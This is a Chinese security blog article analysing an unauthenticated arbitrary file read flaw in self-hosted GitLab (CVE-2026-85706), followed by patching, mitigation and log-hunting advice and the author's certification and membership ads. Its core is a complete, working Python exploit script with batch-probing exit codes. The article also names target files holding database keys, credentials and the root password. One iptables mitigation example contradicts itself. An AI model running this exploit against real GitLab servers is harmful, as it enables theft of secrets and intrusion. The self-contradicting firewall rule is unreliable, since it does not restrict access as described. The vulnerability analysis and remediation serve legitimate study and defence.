CVE-2026-85706:GitLab未授权任意本地文件读取漏洞分析"

admin 2026-10-16 04:02:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-85706:GitLab 未授权任意本地文件读取漏洞分析

MY0723
MY0723

不秃头的安全

2026年10月7日 08:19
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CVE-2026-85706:GitLab 未授权任意本地文件读取漏洞分析

一、漏洞信息

属性 信息
漏洞类型 路径限制不当 +缺失认证校验(CWE-22)
CVE 编号 CVE-2026-85706
CVSS 评分 10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
发现者 s3ntago(HackerOne 漏洞赏金计划)
补丁发布 2026-09-10(19.3.2 / 19.2.6 / 19.1.8)
回溯补丁 2026-09-23(19.0.9 / 18.11.12)
在野状态 已收录 CISA KEV 目录;GitLab 官方发布 3 条 threat detection
利用前提 远程、未认证、无需公开项目、无需用户交互

受影响版本与修复版本:

分支 受影响区间 修复版本
18.x(18.7 起) 18.7 ~ 18.11.11 18.11.12
19.0 19.0.0 ~ 19.0.8 19.0.9
19.1 19.1.0 ~ 19.1.7 19.1.8
19.2 19.2.0 ~ 19.2.5 19.2.6
19.3 19.3.0 ~ 19.3.1 19.3.2

官方漏洞描述:自建 GitLab CE/EE 因 repository commits API 中路径限制不当与认证强制缺失,未认证攻击者在特定条件下可读取 GitLab 服务器上的任意文件。


二、请求链路与缺陷位置

GitLab 的文件上传类 API 走双层组件:

外部请求 → Nginx(TLS 终止、分流)→ GitLab Workhorse(Go 反代,拦截上传流)→ GitLab Rails(Ruby,业务逻辑)→ 文件系统

Repository Files / Repository Commits API 的语义是\"客户端上传文件内容 + file.path + file.size,服务端写入仓库工作区\"。这类接口天然具备写任意路径的能力,因此安全性依赖 Workhorse 前置拦截。缺陷恰好破坏了这一前提。

2.1 缺陷一:两层组件对同一 URL 的规范化不一致

请求路径 /api/v4/projects/{id}/repository/files/x 中的 files 段被编码为 %66iles:

组件 处理方式 结果
Workhorse 字符串/路由匹配,不解码 视为 files 的变体,未命中上传路由 → 跳过 body-upload 处理,原样转发
Rails 路由匹配前做 URL 解码 %66iles → files,命中 Repository Files API

同一请求在两层组件中被解析为两条不同路径,构成 CWE-22。

2.2 缺陷二:认证发生在文件读取之后

正常授权顺序:

路由匹配 → 认证 → 授权 → 业务逻辑 → 文件读写

漏洞版本实际顺序:

路由匹配 → 处理上传元数据(读取本地文件) → 查找项目 → 认证 → 授权

文件读取被前置到认证之前,因此请求只要能路由到该代码段即可触发读取,与项目是否存在、是否公开、攻击者是否有权限均无关。

2.3 推论:项目 ID 仅为路由占位符

由于查找项目发生在文件读取之后,URL 中的 {id} 无需对应真实项目或公开项目。PoC每次运行生成随机九位 ID(如 473829104),仅用于匹配路由模板,不是项目枚举。

2.4 完整攻击链

① POST /api/v4/projects/{随机9位ID}/repository/%66iles/x
   Body: file=&file.path=/目标绝对路径&file.size=1
        ↓
② Workhorse 路由匹配失败 → 未识别为上传路由 → 跳过上传处理
        ↓
③ Rails URL 解码 %66iles → files → 分派至 Repository Files API
        ↓
④ 上传元数据被处理(认证前)→ 读取 file.path 指定本地文件
   文件内容交由 Rack::Utils.parse_nested_query 解析
        ↓
⑤ 文件中含畸形百分号转义(如 %Y)→ 抛 InvalidParameterError
   异常message 反射出错的 token(即文件字节切片)
        ↓
⑥ HTTP 400 响应体中携带目标文件内容

三、内容回显机制

文件内容经 Rack::Utils.parse_nested_query 解析,遇到非十六进制的百分号转义(如 %Y)时抛出 InvalidParameterError,异常消息包含解析失败的原始 token;该异常被序列化进 HTTP 400 JSON 响应。由此形成磁盘到响应的数据通道:

磁盘字节 → Rack 解析器 token → 异常 message → JSON 响应 → 攻击者

读取是无条件的,回显是有条件的:

响应 含义
HTTP 400 + invalid %-encoding (...) 文件读取成功,内容泄露
HTTP 401 或 branch is required 文件已在认证前读取,但字节解析正常,未回显
HTTP 400 + local file not present 文件不存在(存在性预言机)
HTTP 500 路径不可读(权限不足)或为目录(可读性预言机)

泄露片段边界:起点为一个 & / ; / = 分隔符,终点为第一个畸形的 % 转义序列。

/etc/passwd 这类内容可正常解析的文件,仍会被打开读取,但字节不出现在响应中,响应退化为存在性预言机。

vulhub 选择 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml 作为默认目标,因其由 Omnibus 安装过程自然生成,未经人为构造;配置中的 date_format 指令含 %Y、%m、%d,天然构成畸形转义。

3.1 Repository Commits API 变体

官方公告将漏洞定性为 repository commits API。对应利用路径:

POST /api/v4/projects/{id}/repository/commits/

在路由末尾追加尾部斜杠,据社区 PoC 说明可绕过 Workhorse 的 body-upload 重写,同时通过 Workhorse 的检查。社区实现(mhtsec/CVE-2026-85706)额外实现了四状态响应判定,用于区分项目有效性与文件存在/可读性。

排查时应同时覆盖 /repository/files/ 与 /repository/commits/ 两条路径,以及编码与未编码两种变体。


四、漏洞复现

4.1 环境搭建

Vulhub 靶场环境 gitlab/CVE-2026-85706,基于 GitLab CE 19.3.1。

docker-compose.yml:

services:
  web:
    image: vulhub/gitlab:19.3.1
    hostname: gitlab.example.com
    shm_size: \"256m\"
    ports:
      - \"8080:80\"
      - \"10022:22\"
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://gitlab.example.com'
        gitlab_rails['gitlab_shell_ssh_port'] = 10022
        gitlab_rails['initial_root_password'] = 'vulhub123456'
        letsencrypt['enable'] = false

启动:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2026-85706
docker compose up -d

容器首次启动需数分钟完成初始化。复现不需要账号,也不需要预先创建项目。

4.2 使用 PoC

# 默认读取 gitlab.yml
python3 poc.py http://your-ip:8080

# 输出到文件(stdout 仅含泄露字节,进度信息走 stderr)
python3 poc.py http://your-ip:8080 > gitlab.yml

# 指定任意本地路径
python3 poc.py http://your-ip:8080 -f /opt/gitlab/embedded/service/gitlab-rails/config/routes.rb

4.4 PoC 脚本

无第三方依赖,Python 3 标准库:

#!/usr/bin/env python3
\"\"\"
CVE-2026-85706 - GitLab Unauthenticated Arbitrary Local File Read

An encoded character in the Repository Files API route
(``/repository/%66iles/x``) prevents GitLab Workhorse from recognizing the
request as an upload, while GitLab Rails decodes the path and dispatches it to
the Files API. The body-upload helper reads whatever local path the attacker
puts in the ``file.path`` parameter before looking up the project or
authenticating the request. The project id in the URL therefore does not need
to identify a real project.

The file is then handed to ``Rack::Utils.parse_nested_query``. If the bytes
contain what looks like a malformed percent-escape (e.g. ``%Y``), Rack raises an
``InvalidParameterError`` whose message reflects the offending token back to the
attacker. That reflected token is a slice of the target file, which is how file
content leaks out in the HTTP 400 response.

Because the leak is a reflected parse error, how much of a file is disclosed
depends on the file's own bytes: the leaked slice runs from a ``&``/``;``/``=``
delimiter up to the first malformed ``%`` sequence. Files that parse cleanly are
still opened and read before authorization, but their content is not echoed
back. The Files API then continues to later request validation. ``gitlab.yml``
is a reliable demo target because the stock Omnibus image generates it with
date-format directives such as ``%Y`` that trip the parser.

Usage:
    python3 poc.py http://your-ip:8080
    python3 poc.py http://your-ip:8080 -f /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
    python3 poc.py http://your-ip:8080 -f /path/to/file > loot.txt
\"\"\"

import argparse
import json
import secrets
import sys
import urllib.error
import urllib.parse
import urllib.request

DEFAULT_FILE = \"/var/opt/gitlab/gitlab-rails/etc/gitlab.yml\"

# Marker that precedes the reflected file slice in the Rack error message.
LEAK_MARKER = \"invalid %-encoding (\"

def log(message):
    \"\"\"Write progress to stderr so stdout stays clean for the leaked bytes.\"\"\"
    print(message, file=sys.stderr)

def request(url, data=None):
    headers = {}
    if data is not None:
        headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"

    req = urllib.request.Request(url, data=data, headers=headers)
    try:
        with urllib.request.urlopen(req, timeout=20) as response:
            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")
    except urllib.error.URLError as exc:
        log(f\"[-] Cannot reach {url}: {exc.reason}\")
        raise SystemExit(1)

def read_file(base_url, project_id, remote_path):
    \"\"\"Ask GitLab Rails to read remote_path and return (status, message, leaked).\"\"\"
    form = urllib.parse.urlencode(
        {
            \"file\": \"\",
            \"file.path\": remote_path,
            \"file.size\": \"1\",
            \"Content-Type\": \"application/x-www-form-urlencoded\",
        }
    ).encode()

    # Workhorse sees the encoded segment and misses its upload route, whereas
    # Rails decodes \"%66iles\" and dispatches to the Repository Files API. The
    # upload metadata is consumed before this placeholder project is resolved.
    target = f\"{base_url}/api/v4/projects/{project_id}/repository/%66iles/x\"
    status, body = request(target, form)

    message = body
    try:
        response = json.loads(body)
        if isinstance(response, dict) and isinstance(response.get(\"message\"), str):
            message = response[\"message\"]
    except json.JSONDecodeError:
        pass

    leaked = None
    marker = message.find(LEAK_MARKER)
    if marker != -1:
        start = marker + len(LEAK_MARKER)
        end = message.rfind(\")\")
        leaked = message[start:end] if end > start else message[start:]

    return status, message, leaked

def main():
    parser = argparse.ArgumentParser(
        description=\"CVE-2026-85706 unauthenticated arbitrary file read for GitLab.\",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            \"The disclosed content is a reflected Rack parse error, so a file is\
\"
            \"only echoed back when its bytes contain a malformed %-escape sequence.\"
        ),
    )
    parser.add_argument(
        \"target\",
        help=\"Base URL of the GitLab instance, e.g. http://127.0.0.1:8080\",
    )
    parser.add_argument(
        \"-f\",
        \"--file\",
        default=DEFAULT_FILE,
        help=f\"Remote file path to read (default: {DEFAULT_FILE})\",
    )
    args = parser.parse_args()

    base_url = args.target.rstrip(\"/\")
    project_id = secrets.randbelow(900_000_000) + 100_000_000
    log(f\"[*] Using random project-id placeholder: {project_id}\")
    log(f\"[*] Reading remote file: {args.file}\")
    status, message, leaked = read_file(base_url, project_id, args.file)

    if leaked is not None:
        log(f\"[+] File disclosed via reflected parse error (HTTP {status}). Content on stdout:\")
        # Only the recovered file bytes go to stdout so output can be piped/saved.
        sys.stdout.write(leaked)
        if not leaked.endswith(\"\
\"):
            sys.stdout.write(\"\
\")
        return 0

    if status == 401 or \"branch is required\" in message:
        log(\"[-] The file was read before authorization but parsed cleanly, so no bytes were reflected.\")
        log(\"    Try a file containing malformed %-escapes (e.g. the default gitlab.yml).\")
        return 3

    if \"local file not present\" in message:
        log(f\"[-] The file does not exist on the server: {args.file}\")
        return 2

    if status == 500:
        log(f\"[-] HTTP 500: the path is likely unreadable (permission denied) or is a directory: {args.file}\")
        return 4

    log(f\"[-] Unexpected response (HTTP {status}): {message}\")
    return 5

if __name__ == \"__main__\":
    raise SystemExit(main())

退出码约定(便于批量探测时判定结果):

退出码 含义
0 文件内容泄露成功
2 文件不存在
3 文件已读取但内容未回显
4 路径不可读或为目录
5 非预期响应

五、影响面

漏洞代码读取 GitLab 服务进程(通常为 git 用户)可访问的任意路径

目标文件 后果
/etc/gitlab/gitlab-secrets.json 数据库加密密钥,可解密库中全部密文字段
/etc/gitlab/initial_root_password 初始 root 密码(若未修改)
/var/opt/gitlab/gitlab-rails/etc/database.yml 数据库连接凭据
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml 完整应用配置(PoC 默认演示目标)
/opt/gitlab/embedded/service/gitlab-rails/config/routes.rb 全部内部路由
/etc/passwd 用户枚举
项目内 .env、CI/CD 变量文件 构建与部署凭据

受回显机制限制,需挑选含%格式串的文件(配置类文件普遍含日期格式、模板占位符)才能取到字节。即便如此,大量配置类文件已被覆盖,横向利用空间足够。

GitLab.com 与 GitLab Dedicated 始终运行修复版本,受影响对象为自建实例。


六、修复

6.1 官方修复

# Omnibus 部署
sudo apt-get update
sudo apt-get install gitlab-ce=19.3.2-ce.0
sudo gitlab-ctl reconfigure
sudo gitlab-ctl restart

# Docker 部署
docker pull gitlab/gitlab-ce:19.3.2-ce.0
docker compose down && docker compose up -d

验证修复是否生效——修复后应返回 401,且错误信息中不再包含文件内容:

curl -s -o /dev/null -w \"%{http_code}\" \\
  -X POST \"http://target/api/v4/projects/123456789/repository/%66iles/x\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data \"file=&file.path=/etc/passwd&file.size=1\"

GitLab.com 与 GitLab Dedicated 无需操作。

6.2 补丁前的临时缓解

拦截百分号编码路径段

server {
    location / {
        if ($uri ~* \"%[0-9a-fA-F]{2}\") {
            return 403;
        }
        proxy_pass http://gitlab_upstream;
    }
}

Nginx if 指令属于公认易出错区域,上生产前需在预发环境验证。

拦截畸形百分号转义

利用链最后一环(反射型解析错误)必须存在畸形 % 转义,可据此收敛:

if ($request_body ~* \"%[^0-9A-Fa-f%]\") {
    return 403;
}

正常业务请求也可能包含类似模式,需评估误报。

网络层隔离

# 仅允许内网访问 GitLab HTTP 服务
iptables -I INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j ACCEPT
iptables -I INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j DROP

6.3 利用痕迹排查

# 访问日志中的编码路径特征
sudo grep -E \"repository/%[0-9A-Fa-f]{2}\" /var/log/gitlab/nginx/gitlab_access.log | tail -100

# Rails 日志中的上传元数据
sudo grep -E \"repository/(files|commits)/\" /var/log/gitlab/gitlab-rails/production.log \\
  | grep -i \"file.path\" | tail -100

# 敏感文件的访问时间
sudo stat /etc/gitlab/gitlab-secrets.json
sudo find /etc/gitlab /var/opt/gitlab -name \"*.yml\" -newermt \"-30 days\" -ls

# 新增的 Token / CI 任务 / SSH Key / Webhook
sudo gitlab-rails runner \"puts PersonalAccessToken.where(created_at > 30.days.ago).pluck(:name, :user_id)\"
sudo gitlab-rails runner \"puts Ci::Build.where(created_at > 30.days.ago).pluck(:id, :project_id, :user_id)\"
sudo gitlab-rails runner \"puts SSHKey.where(created_at > 30.days.ago).pluck(:id, :user_id, :fingerprint)\"
sudo gitlab-rails runner \"puts WebHook.where(created_at > 30.days.ago).pluck(:id, :project_id, :url)\"

凭据轮换(确认利用后视为已泄露):

凭据 处理
gitlab-secrets.json 的 secret_key_base 重置后需重新加密数据库全部字段,按 GitLab 官方 Runbook 操作
数据库密码 修改后同步更新 database.yml 并重启
CI/CD Variables 全部重新生成并替换
Initial Root Password 立即修改
Access Token 吊销并重新签发
SSH / Deploy Keys 移除可疑公钥

参考资料

  • ▸

Vulhub 靶场:https://github.com/vulhub/vulhub/tree/master/gitlab/CVE-2026-85706
* ▸

GitLab 补丁公告:https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/
* ▸

深度分析:https://medium.com/@guidancewhite/cve-2026-85706-deep-dive-gitlab-repository-commits-api-auth-bypass-leads-to-unauthenticated-f2e591786e74
* ▸

Mallory 条目:https://mallory.ai/vulnerabilities/CVE-2026-85706
* ▸

社区 PoC(mhtsec):https://github.com/mhtsec/CVE-2026-85706
* ▸

社区 Docker 靶场(FlowerWitch):https://github.com/FlowerWitch/CVE-2026-85706\_docker\_exp
* ▸

CISA KEV 目录:https://www.cisa.gov/known-exploited-vulnerabilities-catalog

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

  • 1. 需要考以下各类安全证书的可以联系

①Cn\*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书

【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723

https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#

想加群下方二维码,群过期或群满加下方vx拉:
+

## 2. 需要入星球的可以私聊优惠

1、src、cnxd、cnnxd、POC专项漏洞知识库,包含原理、挖掘技巧、实战案例 2、fafo/零零信安 高级会员key 3、全网搜集POC在线文档,详情poc及证明截图(3000+以上文章) 4、知识星球专属微信“内部圈子交流群” 5、攻防演练资源分享(免杀、溯源、钓鱼等) 6、新鲜工具分享 7、不定期有工作招聘内推(工作/护网内推) 8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

## 3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。


通过AI分析医院不良事件" 网络安全文章

通过AI分析医院不良事件"

本文介绍通过Memos系统记录医院不良事件并结合AI进行分析的操作流程。文章详细说明了Memos系统的Docker搭建命令、API密钥创建方法,以及将服务地址和密钥提供给AI进行分析的提示词设置。分析结果可在Memos日历界面进行回顾,适合用于日常工作记录和定期复盘。该方案操作简单,可有效提升事件记录与分析效率。
如何通过AI高效复现传统漏洞?" 网络安全文章

如何通过AI高效复现传统漏洞?"

本文介绍如何通过AIAgent工具OxoOperator高效复现传统漏洞,核心观点是让AI连续承接环境搭建、资料检索、请求验证和证据留存等重复性工作,使安全工程师将时间投入问题定义、验证设计与结果判断。文章以若依框架SQL注入复现为例,展示三句话约十分钟完成从环境搭建到漏洞验证的流程,强调Agent执行与人工判断分工的价值。
离了大谱!这款WiFi工具太强了" 网络安全文章

离了大谱!这款WiFi工具太强了"

本文推荐跨平台WiFi安全审计工具WiFiT3,内置无线协议栈避免内核驱动问题,支持常见无线网卡。工具具备前期侦察功能,包括多网卡接入、2.4GHz与5GHz频道扫描、AP与客户识别、设备指纹提取等;密码找回支持WPA/WPA2、PMKID嗅探及EvilTwinWPA3降级攻击。提供KaliLinux安装演示,操作简便,适合WiFi安全学习者实践。
评论:0   参与:  0